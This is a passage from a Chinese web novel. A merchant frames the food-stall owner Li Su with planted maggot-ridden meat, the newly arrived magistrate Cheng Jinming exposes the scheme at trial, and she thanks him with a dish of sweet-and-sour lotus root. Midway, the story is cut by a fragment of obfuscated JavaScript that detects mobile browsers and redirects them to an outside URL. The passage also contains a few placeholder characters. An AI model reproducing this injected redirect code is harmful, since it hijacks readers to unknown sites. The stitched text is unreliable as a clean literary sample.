“慢着!”一直冷眼旁观整个闹剧的程锦明终于忍不住开口了,他挡在欲上前扭人的刘三彪面前,目光如剑般扫过朱永贵和那两个汉子,声音沉稳却带着一股无形的压力,“朱掌柜,此事疑点重重,岂能如此草率定罪?” 朱永贵被打断很是不悦,他三角眼一翻,上下打量着程锦明这身月白长衫,见他面生又无随从,只当是个多管闲事的酸腐书生,语气顿时不善道:“哪里来的后生?在此指手画脚?你没看见人证物证俱在吗?这烂肉、这蛆虫、这吃坏了的人,难道都是假的?难不成还是我朱某人栽赃陷害她不成?!” 他声音陡然拔高,带着威胁,“我劝你莫要多管闲事,否则,连你一块儿告个妨碍公务、包庇罪犯之罪!” “栽赃陷害?”程锦明冷笑一声,指向那个举着烂肉的汉子,“此人方才搜查时,手在筐底摸索片刻才‘恰好’找到这块腐肉,动作鬼祟,岂不可疑?再者,”他目光转向地上那个还在“抽搐”的汉子,语气带着嘲讽,“这位‘重病垂危’的兄弟,方才掀桌子时力气可不小,此刻晕倒的时机也未免太‘恰到好处’了些吧?呕吐物中的蛆虫,更像是被人提前塞入,而非食物自然腐败所致!朱掌柜口口声声公道,为何不先查查这几个人的来历和今日行踪?” “你!你血口喷人!”朱永贵被程锦明点破关键,脸色一阵青一阵白,恼羞成怒地吼道,“我看你分明是与这李素一伙的!在此胡搅蛮缠,混淆视听!证据确凿,岂容你狡辩?!”他转向刘三彪,厉声道:“彪子!还愣着干什么!把这个碍事的给我轰开!把李素押走!有什么话,去公堂上跟县丞大人说去!” 刘三彪得了令,立刻带着几个打手上前,蛮横地推开程锦明,就要去抓李素。 “住手!”李素猛地一声厉喝,声音带着决绝的冰冷。她推开试图保护她的李屠户,上前一步,目光如寒冰般直视朱永贵和那些打手。她没有看程锦明,仿佛刚才那番为她仗义执言的话从未发生过。 “我自己会走!”她挺直了脊梁,尽管脸色苍白,眼神不曾软弱半分,“清者自清!我倒要看看,你这泼天的脏水能泼多高!这庆阳县衙还讲不讲王法!” “哼!死到临头还嘴硬!带走!”朱永贵被她看得心头一虚,随即又色厉内荏地吼道。 程锦明被刘三彪等人推搡到一边,看着李素仍被几个衙役和打手粗暴地扭住胳膊押着往外走。她瘦高的身影在推搡中显得格外单薄,却倔强地不肯弯下脊梁。 程锦明紧紧攥着拳头,指节再次捏得发白。 他深深看了一眼朱永贵那得意又带着一丝不易察觉心虚的脸,最后将目光落在李素挺直的背影上。 程锦明没有再阻拦,只是对着那个为首的汉子用一种平静却不容置疑的语气道:“好,既然要见官,那就去,只不过烦请仔细‘保管’好这些所谓的‘证据’,尤其是那块‘及时出现’的腐肉。真相如何,自有公论。”他刻意加重了“仔细保管”和“及时出现”几个字,眼神锐利如刀。 那汉子被他看得心头一跳,含糊地应了一声,便催促着将李素押走。 不过朱永贵却并不在意这突然出现的小插曲,他若有所思的捻着那几张银票—— 这是几张准备打点给县令的钱。 银票光滑平整的躺在手里,朱永贵只觉得什么都赢了,他一边摸着钱一边看着李素被押走的背影,脸上终于露出了志得意满的狞笑。 笑够了,他又想起什么一样瞥了一眼被“晾”在一边面色沉静的程锦明,心中鄙夷道:一个不知天高地厚的酸书生,也配管他朱永贵的闲事? 而程锦明只是面若冰霜的站在原地,看着混乱的人群和被押走的李素,又看了看地上那块被汉子嫌恶地用布包起来的腐肉“证据”,眼神冰冷如深潭。 他没有选择跟上去,而是转身迅速消失在人群之中,脚步匆匆走向县衙的后巷——他需要立刻动用人手去查清那些个“托儿”的底细,更要确保那块关键的“栽赃物证”在呈上公堂之前不会被“意外”掉包或销毁。 去他的拉拢乡绅豪士,程锦明在心里骂道,等到公堂上看他不扒了那个劳什子朱永贵一层皮。 5. 公堂 县衙临时羁押室的浊气像浸了水的破棉絮,沉甸甸塞满李素的胸腔,每一次吸气都带着陈年霉味和劣质皂荚的刺鼻感。 李素背脊死死抵着冰凉粗粝的土墙,腕子上虽然没绑沉重的木枷,但依旧留着被衙役铁扭拽出的淤紫,像皮下埋了烧红的烙铁一跳一跳地灼痛,她闭着眼将舌尖死死抵住上颚,把喉头翻涌的铁锈腥气和眼底的酸涩硬生生摁回脏腑深处,恐惧委屈被压成冰冷的铁块,只余下烧灼的愤怒和刀锋般的清醒在黑暗中铮铮作响。 朱扒皮的计又阴又毒,那块“搜”出的腐肉,呕吐物里蠕动翻滚的白蛆,几个满地打滚哀嚎的“苦主”……桩桩件件齐全得令人作呕。 “李素!升堂——!滚出来!”一片静寂之际,一阵粗嘎的吆喝伴着铁链刺耳的哗啦砸破死寂,也砸在她紧绷的神经上。 李素倏然睁眼,眸光清冽如深潭寒水不见半分波澜,她理了理沾了泥污的粗布衣襟站起,橡根挺直瘦竹似的跟着衙役踏入幽暗通道。 尽头县衙大堂的天光惨淡,像蒙了层脏污的油纸。 短短的路上李素想了好几种待会公堂对簿的话术,然而当她的目光触及公堂主位时,呼吸却猛地一窒—— 主位之上端坐着的正是几刻前还在他铺子讨素鸭吃的程锦明! 簇新的官袍衬得他肩背如青松,程锦明清俊的脸上再无前几日交谈时那温和的书卷气,只有属于一方父母官的沉肃与不怒自威的凛然,他目光如冷冷的扫视全场,在朱永贵的脸上多停留了一会儿,带着带着洞穿一切的锐利。 可是他堂堂一个县令何苦来审她这个案子?李素正疑惑之际,旁边的人却不淡定了。 “啪嗒——” 一颗盘的水润的核桃珠子咕噜噜滚到了李素脚边,李素循声望去,只见朱永贵那张原本志得意满的胖脸在看清程锦明面容的瞬间,就如同被滚油泼过一般,猛一下扭曲、抽搐,尽管他很快控制好了表情,但他脸上的血色依然“唰”地褪尽,惨白如白纸。 他手中那两个盘得油光水滑的核桃也从他突然失力的肥手中滑脱,滴溜溜滚落在地,刚才滚到了李素跪着的腿边的便是其中一个。 而朱永贵捏着袖里银票的手却怎么也不敢拿出去,他眼珠子瞪得几乎要凸出眶外死死盯着主位上那张清俊却冰冷的脸,充满了无法置信的惊骇—— 怎么会是他?!那个在李素摊前多管闲事的穷酸书生?!竟然是新上任的县令?!他还捏着贿赂县令的钱去贬损人家县令本尊! 完了!全完了! 堂下那几个哼哼唧唧装死的“苦主”和“证人”也在看清程锦明面容的刹那,面上原本装出来的痛苦也瞬间被无边的惊恐取代。 公堂之上一片死寂,只有粗重惊恐的喘息声和牙齿打颤的咯咯声,清晰可闻。 “威——武——!”不管他们心中有怎样的惊涛骇浪,两列皂衣衙役依旧照常按刀低喝,肃杀之气瞬间弥漫。 程锦明目光如寒潭深水缓缓扫过惊恐欲绝的朱永贵,扫过瘫软如泥的“苦主”,最后落在跪得笔直、同样难掩震惊却竭力保持平静的李素身上,他看到了她手腕上刺目的淤紫,眼神骤然冰寒。 “啪!”惊堂木脆响,如同冰凌碎裂瞬间压下所有杂音。 “庆阳县令程锦明,升堂问案!”声音清朗沉稳,带着不容置疑的威压,每一个字都像重锤砸在朱永贵一党心头。 “堂下所跪李素!朱永贵状告你售卖霉变腐肉,致人中毒垂危,此有苦主供词,”他示意衙役将几张纸呈上案头,目光如炬,直刺朱永贵,“及你朱永贵亲信刘三彪等人当场搜获之物证!”他指向地上盖布的托盘,“李素,你有何辩解?” 李素深吸一口气,压下心中翻涌的惊涛骇浪,迎向那熟悉又陌生的、此刻充满威仪的目光,声音清晰而坚定:“回禀县尊大人,民女冤枉!民女所用食材,皆当日新鲜采买,精心料理,绝无霉变腐坏!此物绝非民女所有!此乃朱永贵指使刘三彪及地上这几人,栽赃陷害,意图毁我营生,断我生路!” 她字字铿锵,目光如炬,直指瘫在椅中、面色僵硬的朱永贵。 “攀…攀诬!血口喷人!”朱永贵像是被踩了尾巴的肥猫猛地从椅中弹起半截,他肥手指着李素,色厉内荏道:“县令大人!您千万别听这刁妇胡言!证据…证据确凿啊!” 他转向程锦明,脸上强行挤出比哭还难看的“悲愤”,试图抓住最后一根稻草,“您看这苦主!看这块烂肉!难道…难道都是假的?!求大人明鉴!速速治她的罪!以正王法啊!”他嘶声试图用音量掩盖心虚。 而程锦明神色却沉静如水,丝毫不为所动,他抬手示意衙役,缓声道:“掀开物证。” 衙役于是忍着恶臭掀开盖布,那块腐败流脓、蛆虫蠕动的碎肉便随着他的动作暴露在光天化日之下,恶臭弥漫。 “呕……”朱永贵立刻装模作样地干呕,眼神却慌乱地瞟向程锦明。 而程锦明目正光锐利如刀的仔细审视腐肉,又看向地上抖如筛糠的“苦主”,他开口,声音不高,带着一丝洞察一切的戏谑:“此物便是致人中毒之物?你等声称食下李娘子素鸭后立时发作,呕吐之物中便有如此蛆虫?” 地上那个“晕厥”过的混混早已魂飞魄散,被程锦明那洞悉一切的目光一扫更是吓得语无伦次。 他一介布衣夹在官老爷和富商之间,哪个都不敢得罪,一时半刻的还真就不知道怎么半的好,情急之下,他只得结结巴巴的乱说:“是…是…大人…小的差点…差点就…呕…” 言语未落,他竟真吓得干呕起来,还真有了几分“垂危”的样子。 程锦明见状扯了扯嘴角将目光转向李素,走流程一般问道:“李素,你称此物是栽赃,栽赃者何人?如何栽赃?可有凭证?” 李素心念一转,朗声道:“大人!民女虽无直接物证指认栽赃过程,但疑点有三!其一,此腐肉腐败至此,蛆虫硕大,绝非一日之功!若为民女摊上之物,为何此前数日,成百上千食客食用皆无异样?偏偏在朱永贵派人闹事之时恰好出事?” 她目光如炬,扫过地上苦主:“其二,昨日此二人前来闹事,一人掀桌叫骂力大无穷,一人中毒晕厥时机恰到好处,呕吐物中蛆虫形态竟与腐肉上一般无二!天下岂有如此巧合?其三——” 她猛地再次指向朱永贵,声音带着控诉的锋芒,“朱永贵因民女素食铺抢其散客生意早已怀恨在心!前日便亲口威胁民女,若不关铺便断我李家肉铺供给,更指使地痞流氓乱我摊子!昨日闹事栽赃正是其毒计!大人!民女所言句句属实!昨日这位‘苦主’晕倒前,曾与大人您有过接触,大人当知此人当时力气如何!求大人明察秋毫!” “你…你…信口雌黄!全是臆测!”朱永贵被她说的浑身肥肉乱颤,嘶声辩驳,“证据!程大人!她说的都是空口白话!证据呢?!这苦主昨日是受了惊吓才…才……” 他语无伦次,指着地上混混,“对!是受了惊吓!至于威胁砸摊…更是无稽之谈!我朱永贵堂堂正正经商,岂会做此等下作之事!这腐肉就是铁证!就是她李素摊上的!” “哦?铁证?”程锦明唇角勾起一丝冰冷的弧度,那弧度让朱永贵心里一阵发毛。他不再看朱永贵那张强装镇定的胖脸,而是目光转向堂外,声音陡然拔高,带着掌控一切的威严,“带人证物证!” 话音未落,他那个面貌精悍的心腹随从周青就领着两名衙役大步踏入公堂,只见周青手中正捧着一个盖着的托盘,身后衙役押着的,赫然是两个鹑衣百结、抖如筛糠的乞丐! “周青!”程锦明沉声道。 “卑职在!”周青抱拳,声如洪钟,目光如炬般射向朱永贵,“卑职奉大人密令,彻查此案!现已拿获关键人证物证!” 他猛地掀开手中托盘上的布——赫然是几块同样腐败发臭、蛆虫蠕动的碎肉!还有一小包尚未使用的、米粒大小的白色虫卵!与堂上那块“证据”如出一辙。 “此物乃从溢香楼后厨灶台下暗格中搜出,铁锁密封,暗格位置隐蔽,另有此二人,”他一指身后乞丐接着道:“他二人亲口承认昨日傍晚见到刘三彪将同类腐肉及虫卵交予那二人,并付以铜钱,言明‘按计行事,往死里闹’!人证物证俱在,请大人明鉴!” 这又是哪来的证人! 朱永贵眼前一黑,他指着周青手中的托盘和那瑟瑟发抖的乞丐,嘴唇哆嗦着,却一个字也吐不出来,只有喉咙里发出“嗬嗬”的破风箱声。 时局如此,地上装死的混混也不装糊涂了,他俩连滚带爬地扑到程锦明案前,磕头如捣蒜,涕泪横流的承认道:“青天大老爷饶命!饶命啊!我招!我招!小的没中毒!是…是装的!那蛆是刘三爷…不!是刘三彪那杀才!他事先给的一小包虫卵让小的含在嘴里,等吐的时候混着吐出来,那烂肉也是他指使俺兄弟趁乱塞进菜筐的…冤枉啊大人!都是朱永贵和刘三彪指使的!给了俺们一人五百文钱,钱还在俺怀里,求大人开恩啊!” 说罢他便手忙脚乱地从怀里掏出一个脏污的钱袋呈到程锦明近前。 另一个见状混混也瘫软在地,连声哭嚎道:“是…是!都是他们指使的!小的们猪油蒙了心啊!” “放屁!你们这些下贱坯子!竟敢攀诬老爷!”被按在地上的刘三彪目眦欲裂发出野兽般的嘶吼,挣扎间竟爆发出不知道哪来的蛮力猛地挣脱了按着他的衙役,状若疯虎般扑向周青手中的托盘,企图毁掉物证。 “大胆!”程锦明厉喝,一个眼神甩给了周青。 早有防备的周青见状身形一闪,一脚狠狠踹在刘三彪膝弯!同时旁边衙役立刻扑上将刘三彪死死压在地上,刘三彪的嘴里被他们顺势塞入破布,只能发出绝望的呜咽。 程锦明冷着脸扫过地上烂泥般的朱永贵、被死死压制的刘三彪、磕头求饶的混混,最后落在那两个乞丐身上:“尔等昨日所见,从实招来!” 这大场面,那俩乞丐被吓得魂儿都要飞了,抖得几乎散架,其中一个顶着程锦明杀人一样的目光怯懦道:“回大人,昨日擦黑小的在溢香楼后巷亲眼看见刘三爷塞给这两人一包臭肉,一包白虫卵子,还给了钱说‘明儿闹得越大…赏钱越多’…呜呜呜…小的不敢撒谎啊…” 铁证如山,人证俱在。 程锦明觉得时候也差不多了,他霍然起身,将惊堂木重重拍下朗声道: “那此案便明晰了!朱永贵!”他目光如刀,“你栽赃陷害,扰乱市集!铁证如山,依律法,着即收监半年!” 没再看朱永贵,程锦明的目光转向又死狗般的刘三彪:“刘三彪!你不仅恶奴欺主,又行凶公堂,罪加一等!枷号收监,待本官详查其过往恶行,数罪并罚!” 最后他扫过磕头求饶的混混和乞丐:“尔等从犯,为虎作伥,枷号示众三日,以儆效尤!退堂!” “威——武——!”衙役堂威再起,肃杀凛然。 李素完全懵在原地看程锦明三下五除二的把这些人都处理了,很快就有衙役把他们都押了下去,刚还闹哄哄的公堂此刻随着人流的退开变得安静了些许,李素撑着膝盖站起,她没有去看被拖走的朱永贵等人,而是将目光穿过公堂落在了主位上。 程锦明此时也走下公案看着她,官袍衬得他身姿清肃如竹,眉宇间带着一丝如释重负的疲惫,但那双眼睛依旧明亮清澈,如同被这场风暴涤荡过的晴空。 他没有说话,只是对着她,微微颔首。 没有居高临下的怜悯,没有施恩者的姿态,只有一种沉静的认可与尊重。 李素心头被这一眼看的猛地一热,那股被强行压下的酸涩几乎要冲上眼眶,她用力眨了眨眼将泪意逼回。 “此事谢过大人明察秋毫了,我明日必定登门致谢,”话毕,李素才反应过来自己一个草民哪有上人家官老爷门的份儿,但话已说出口,李素尴尬的直扣手。 程锦明似乎看出来李素的窘迫,他反倒爽朗的笑了笑道:“好啊,我府邸就在县衙后巷最里面,明日等着姑娘来,只是今日天色已晚,姑娘还是早些回去收拾摊子吧。” 李素抿着嘴唇点点头,心里对程锦明的印象又好了几分。 待到李素拖着疲惫却轻快了许多的身子回到摊前时,夕阳的余晖正懒懒地铺在青石板上,然而让她有些意外的是,那几张被她掀翻又扶起的桌椅旁竟还三三两两站着些没散尽的街坊,正是方才指指点点、甚至跟着唾骂她的人。 此刻他们像被钉在了原地,眼神躲闪,手脚局促地搓着衣角或袖口,不敢与李素清亮的目光相接。 空气里弥漫着一种难言的尴尬和沉甸甸的歉意。 一个常来光顾、方才却骂得最响的老汉,佝偻着背,往前蹭了半步,嘴唇嗫嚅了半天,才挤出蚊蚋般的声音:“李、李丫头,我们…我们刚才糊涂了…”他干瘪的脸涨得通红,后面的话被卡在喉咙里,只剩下一声沉重的叹息。 旁边一个抱着孩子的妇人,把孩子往怀里紧了紧,低垂着头,声音带着点哽咽:“对不住啊,李娘子,朱永贵他…我们怕吃了真出事…”她的话没说完,但那份在强权威胁下盲从的恐惧和此刻的羞愧,都明明白白写在脸上。 李素看着他们,看着这些熟悉又带着陌生惶恐的面孔,胸腔里先是翻腾着那些委屈和愤怒,然而在触及他们眼中那份小心翼翼、近乎卑微的愧色时,那股愤怒竟奇异地沉淀了下去。 手腕上的淤紫还在隐隐作痛,提醒着她刚刚经历的屈辱和凶险,然而一股更深沉、更无奈的情绪涌了上来—— 这世道谁活着容易呢? 朱扒皮敢如此嚣张,不正是捏准了这些升斗小民怕事、易被裹挟的软肋?他们今日的落井下石固然伤人,可细究起来,也不过是风雨飘摇中想抓住一根自以为安全的浮木罢了。 她松下了肩膀微微叹了口气,压下喉头的微哽,她没有说什么慷慨激昂原谅的话,只是动作麻利地开始收拾地上狼藉的碎碗和油污,一边弯腰捡拾,一边用平静得听不出太多波澜的声音说道: “没事了。” 这三个字像投入死水的小石子,让僵立的人群微微骚动。 她直起身,目光扫过那些惴惴不安的脸,没有刻意停留,也没有回避,只是继续道:“官爷查清了,是朱永贵栽赃陷害,我没事,大家也没事,都过去了。” 顿了顿,她拿起那块擦拭案板的布巾,用力擦掉上面沾着的泥污和刚才混乱中溅上的秽物,语气里带上了一丝不容置疑的韧劲: “明天铺子照常开张,素鸭管够。” 没有指责,没有抱怨,更没有故作大度的热情,只有一句轻描淡写的“没事了”,和一个关于明天的、最朴素的承诺——开张,卖货,让人吃饱饭。 这简单的话语却比任何宽恕的言辞都更有用,让那些悬着的心悄悄落回了实处,乡亲们面面相觑,最终只是无声地带着劫后余生的庆幸和更深一层的愧疚,慢慢散入了渐浓的暮色里。 李素兀自低头忙碌,将那些被践踏过的痕迹一点点擦拭干净,准备迎接明日。 溢香楼掌柜的被收押停业了几天休整,所以李素的素鸭铺第二天也变得格外热闹,直到忙到傍晚时分喧闹的摊子渐渐安静下来。 李素将最后几个素鸭用新鲜荷叶包好,瞧了瞧再没什么人了,才从一个竹篮里小心地拿出几节东西——是刚从城外荷塘挖出的鲜藕,还带着湿润的河泥,藕节粗短饱满,断口处渗出晶莹的汁液,透着一股子清冽的甘甜气。她想了想,又装了一小罐自家酿的米醋,一小包□□糖,还有几样秘制的调料仔细放进篮子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995016|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “爹,我出去一趟。”她提着篮子对正在归置桌椅的李屠户道。 李屠户直起腰,看着女儿手里拎的东西,了然地点点头,布满皱纹的脸上露出欣慰的笑:“去吧,是该好好谢谢程大人,要不是他……” “嗯,”李素应了一声,没再多言,她拎着荷叶包和竹篮步履轻快却坚定地向县衙后巷走去,程锦明为官清正,不喜排场,县衙后面的小院清净又简朴。 通报之后李素就被衙役引了进去,小院果然如其人,几竿翠竹倚墙而立,枝叶婆娑,一张朴素的石桌,两把藤椅。 程锦明正坐在石桌旁,就着一盏摇曳的清灯翻阅厚厚的卷宗,烛光映着他清减了些许的侧脸,眉心微蹙,似乎被什么棘手的政务困扰,显得有些郁郁寡欢,连放在一旁石凳上的晚膳——一碗清粥,一碟咸菜——都只动了一两口,早已凉透。 “民女李素,拜见程大人。”李素上前,敛衽行礼。 程锦明闻声抬头见是李素,紧蹙的眉心才稍稍舒展,他放下卷宗温声道:“是李姑娘啊,你我之间不必多礼,坐,”看李素略显局促地坐在自己对面,程锦明才接着问道:“案子已结,朱刘等人罪有应得,你的摊子可还安好?”他目光扫过她手腕,淤紫虽未全消,气色却已好了许多。 “托大人的福,一切安好,生意也更红火了。”李素真诚地答道,将手中的荷叶包放在石桌上,“今日冒昧前来是特意感谢大人还我清白的,无以为报,只做了些新琢磨的乡下小食斗胆请大人尝尝鲜,”她目光扫过那几乎未动的清粥,又添了一句:“解解烦忧。” 程锦明眼中掠过一丝暖意和兴趣,这几日他忙于清理朱永贵留下的烂摊子、安抚灾民、处置积案,胃口一直恹恹,看着那散发着清香的荷叶包倒真勾起了几分食欲,“李姑娘在饮食上的巧思我早有耳闻,既如此,那便恭敬不如从命了。” 李素莞尔,却没有去解荷叶包,反而将那个小竹篮提了起来:“大人稍待,这道菜需得现做现吃才不负这新藕的鲜甜。”她目光流转,带着几分请求的笑意看向程锦明,“不知能否借大人的小厨房一用?” 程锦明微微一怔,随即含笑点头:“自然使得,姑娘请随我来。” 他引着李素穿过回廊,来到县衙后宅一处洁净的小厨房。李素踏进去,目光快速扫过灶台碗柜,虽简朴却也齐整,她挽起袖子露出半截纤细却骨节分明的手腕,从篮子里拿出那几节沾着新鲜河泥的莲藕,又像变戏法般从篮中掏出一把薄刃小刀。 灶膛里柴火噼啪映得她侧脸微亮,就在这县衙厨房的案板前,李素利落地清洗、削皮,薄刃小刀在她手中翻飞如蝶,将那鲜嫩的莲藕化作匀薄的玉片,动作行云流水,仿佛这里就是她自家的灶台。 程锦明微感讶异,却也觉新奇,便静静看着,连日案牍劳形的烦郁似乎也被这充满生机的动作驱散了几分。 只见李素手法娴熟如舞,她先将莲藕洗净,露出肥白脆嫩的藕身,然后取过一节,快而稳地切成约一寸长的厚段,接着她手腕灵巧地一转,刀锋切入藕段侧面,竖着划下深深一刀,却并不切断,再平行划下第二刀,轻轻一挑,一块形似小排、中间连着“骨”的“藕排”便赫然成型!动作行云流水,一气呵成。 接着,她取出一只小陶碗将调好的面糊用筷子搅匀,又把切好的“藕排”放入面糊中均匀裹上一层薄薄的浆衣。 将清亮的菜籽油倒入锅中,直到油温渐升,青烟微起,她才将裹好面糊的“藕排”小心地滑入油锅。 滋啦——! 热油欢腾,白色的浆衣瞬间膨胀,鼓起细密的气泡,颜色迅速由白转至诱人的金黄,浓郁的藕香混合着油炸的焦香,霸道地弥漫开来,瞬间盖过了小院里的墨香。 李素用长竹筷轻轻翻动,火候掌握得妙到毫巅,不过片刻,一碟金黄酥脆、形似小肋排的“炸藕排”便捞了出来,沥在垫了荷叶的粗瓷盘里,滋滋作响,香气扑鼻。 李素又另起一个小锅倒入少许底油,放入几粒花椒爆香捞出,再下入切得细碎的姜蒜末煸炒出香,接着她手腕一倾,将那小罐米醋倒入锅中,又加入一勺□□糖、少许酱油和盐,灶火舔舐锅底,醋香混合着糖的焦甜气袅袅升起,她专注地盯着锅里,待糖粒融化,醋汁沸腾,渐渐变得浓稠起泡,呈现出诱人的琥珀色,能拉出细丝时,迅速将炸好的“藕排”倒入锅中。 滚烫浓稠瞬间包裹住每一块金黄酥脆的藕排,滋啦作响声中,酸甜的焦香、藕的清香、油炸的酥香完美融合,爆发出令人垂涎欲滴的奇异香气,最后撒上一小把翠绿的葱花,点点碧绿缀在金红油亮的“排骨”间,色香诱人至极。 “程大人,请尝尝这‘醋溜藕排’,”李素将这一盘热气腾腾、香气四溢的杰作端到石桌上,金红油亮的“排骨”在烛光下闪烁着诱人的光泽。 饶是程锦明这几日胃口不佳,此刻也被这扑鼻的异香勾得腹中馋虫大动,他拿起竹筷,夹起一块。触手是温热的酥脆感。送入口中,牙齿轻轻一磕—— “咔嚓!” 极致酥脆的外壳应声而裂!滚烫酸甜、带着微微焦糖香气的浓稠糖醋汁瞬间在舌尖炸开。紧接着,内里包裹的藕块露出真容——滚刀切出的藕块边缘微焦,内里却保留了惊人的脆嫩多汁,清甜的本味在霸道的酸甜之后幽幽绽放,恰好中和了油腻,带来一种奇妙的平衡,那藕的独特纤维感,咀嚼起来竟真有几分类似瘦肉的韧劲。 程锦明咀嚼的动作顿住了,连日来积压在胸口的烦闷、案牍的枯燥、政务的沉重,仿佛被这口滚烫酸甜、酥脆爽口的“排骨”狠狠撞开了一个口子,一股久违的、纯粹的食欲,如同被唤醒的春潮,汹涌地冲刷上来,他几乎是不由自主地又夹起一块送入口中,这一次他吃得慢了些,细细品味着那藕的脆甜在舌尖化开,感受着那酸甜汁液熨帖着空乏的肠胃。 不知不觉,一块,两块……那盘金红油亮的“醋溜藕排”竟已下去大半。直到竹筷碰到空盘,程锦明才恍然回神。他抬眼,正对上李素含笑的眸子。那笑容干净明亮,带着一丝不易察觉的期待,如同她手中这道菜,洗尽铅华,只余本真。 “李姑娘…”程锦明放下竹筷,喉结滚动了一下,声音带着一丝沙哑,却是由衷的赞叹,“这菜…真绝了!”程锦明脸上是毫不掩饰的赞叹,“看着像排骨,但吃着像肉,却比肉还香!”他抚着微暖的胃部,连日来的郁郁寡欢竟好似因为这道菜也消散了大半。 李素见状眼中笑意更深:“大人喜欢就好,这藕是今早刚从城外荷塘新挖的,最是鲜甜脆嫩,用糖醋来做,虽无肉却也能开胃解馋。” 程锦明听罢手指抵住下巴思衬了片刻:“姑娘既然有这样的好手艺,又一心为民,就更不能埋没了,如今姑娘的摊子越做越好,但尚且缺一个官家招牌,不如......”他顿了顿,“我为姑娘提块匾可好?” 官家的题匾,这可是溢香楼给上任县令砸了一堆钱都没得到的殊荣。 李素被这话惊得结结实实愣一下,“就这么随随便便给我了吗?” 刚走到石桌旁铺开宣纸的程锦明闻言一楞,随即失笑道:“那姑娘给我塞点银子?” 李素闻言赶紧摇头,程锦明看她的动作只觉得她呆呆地好玩的很,他一边研墨一边道:“开玩笑的,只是觉得姑娘与我志趣相投,就算是被构陷仍然一心想着百姓,如此难得的赤子之心,当得起官家的脸面。” 说话间程锦明已然提笔饱蘸浓墨,狼毫在灯下闪着乌光,他略一沉吟,将目光扫过院中翠竹,掠过桌上空盘,最终定格在李素那双清澈坚韧的眼眸上。 他突然就知道要写什么了—— 于是程锦明手腕悬空,力透纸背,四个苍劲雄浑、风骨嶙峋的大字便一气呵成的跃然纸上—— 素心天成。 6. 普仁 天 降 横 日子在锅铲的铿锵,油烟的氤氲和铜钱的叮当声中悄然滑过,县衙公堂上那惊心动魄的一幕如同投入池塘的石子,涟漪过后,生活终究要回归它固有的轨道。 李素的素食摊前人气比以往更盛了几分,程县令明察秋毫惩奸除恶的故事早已传遍庆阳的大街小巷,连带着她这个苦主也成了大家口中清白又能干的象征,生意一日比一日红火,连着李素心里那点被冤枉的阴霾也被这实实在在的进项冲淡了许多。 至于那方代表着“官家认可”的牌匾,则是被她用一块干净的粗布仔细包裹好,珍重地放在了家中唯一那只樟木箱子的最底层,箱盖合上时发出沉闷的声响,也仿佛压下了她心头一丝难以言喻的怯意。 这牌匾太贵重了,让她不敢轻易示人。 她的摊子不过是几根竹竿撑起一块油布,几张旧桌凳,风吹日晒雨淋,简陋得可怜,这样的一方天地如何配得上那朱漆金字的官家体面?若是风吹倒了摊子砸坏了牌匾,或是日头太毒晒褪了颜色,岂不是对官家恩典的大不敬?更是辜负了程大人一片回护之心。 思来想去,唯有收好,等日后有了真正像样的地方再堂堂正正地挂起来才算不负这份荣耀。 接下来一个月李素几乎没怎么歇息,天不亮就起来备料,日落西山才收摊归家,粗粗算来,除去成本和一些必要的添置,竟也攒下了一笔不小的数目,她数着或新或旧的铜钱,一个念头在心中也变得越来越清晰—— 是时候了,不能再守着这风吹雨淋的方寸之地,她需要一个能遮风挡雨、能安放灶台碗碟、能让食客安心落座的铺面,一个真正属于“李娘子素斋”的地方。 有了目标,她就开始在收市后有意无意地在邻近几条街巷转悠,一边留意着那些贴着“吉铺招租”红纸的门脸一边默默盘算着租金和自己的积蓄,然而要不是价格太高就是铺面太差,总是寻不到满意的。 这日午后摊上的食客渐渐稀疏,李素正低头仔细擦拭着案板,额角渗出细密的汗珠,阳光透过油布缝隙在她专注的侧脸上投下斑驳的光影。 “李姑娘。” 一个温和清朗的声音自身后响起,带着一丝不易察觉的笑意。 李素听闻心头猛地一跳,她赶紧抬头,发现程锦明不知何时已站在摊前,今日他倒是只着一身寻常的靛青布衫,负手而立宛如一个普通的书生。 他身后没有衙役,只有那个精悍的随从周青,远远地站在街角树下目光警惕地扫视着四周。 “程大人?”李素慌忙放下抹布,在围裙上擦了擦手,便要屈膝行礼,动作间带着一丝她自己都未察觉的僵硬和距离感。 “不必拘礼,”程锦明虚扶了一下,目光温和地扫过她的小摊,最终落在那块“李娘子素斋”的木牌上,他眉梢几不可察地微微一挑,随即又恢复了平静。 程锦明眼睛一转,随即走近几步在一张条凳上随意地坐下,姿态放松仿佛只是路过歇脚的街坊,“生意可还好?”他问道,语气平常的像是闲聊。 “托大人的福,尚可,”李素垂着眼,手指无意识地绞着围裙一角,声音恭敬却带着疏离。 程锦明的目光在她微垂的眉眼和紧绷的肩线上停顿了片刻,他记得公堂上那个目光清冽、言辞铿锵的李素,也记得后来在他小厨房里专注料理、神色从容的李素,眼前这份过分的恭敬和隐隐的惶恐,让他心头掠过一丝不易察觉的……不适?或者说是遗憾。 他今日并非公务巡街,只是想来看看她近况如何,那方牌匾是否挂起,却没想到看到的是这般情景。 “方才路过,见姑娘摊前热闹,甚好。”他语气和缓,试图让气氛轻松些,目光再次有意无意地扫过摊子支撑油布的竹竿,以及略显陈旧的桌椅,“只是……我记得,那日赠予姑娘一方‘素心天成’的牌匾,怎未见悬挂?可是有何不妥?” 李素的心瞬间提到了嗓子眼,她最怕被问起这个,倒不得不说出她的窘迫来,她脸颊微微发烫,目光盯着程锦明的鞋尖低而急促解释道:“没有的事,没有不妥,牌匾是极好的,只是……只是……”她咬了咬下唇,为难地组织着语言,“我这摊子实在粗陋,风吹日晒,尘土油污,挂在这唯恐玷污了官家的体面,也辜负了大人的心意,所以就想着等日后有了正经铺面,再好好供奉起来,”说到最后,李素自己都没了什么底气,言语间也带着带着浓浓的惭愧。 而程锦明静静地听着,看着她因窘迫而微微泛红的耳根以及绞得发白的手指关节,他沉默了片刻,目光落在她忙碌后略显疲惫却依旧挺直的脊背上。 他抿抿唇,他不仅欣赏李素的手艺,更敬佩她在困境中展现的韧性和清白,公堂之上他为官,维护的是法理和公道,但此刻,他并不想让官民成为他们之间无形的隔阂。 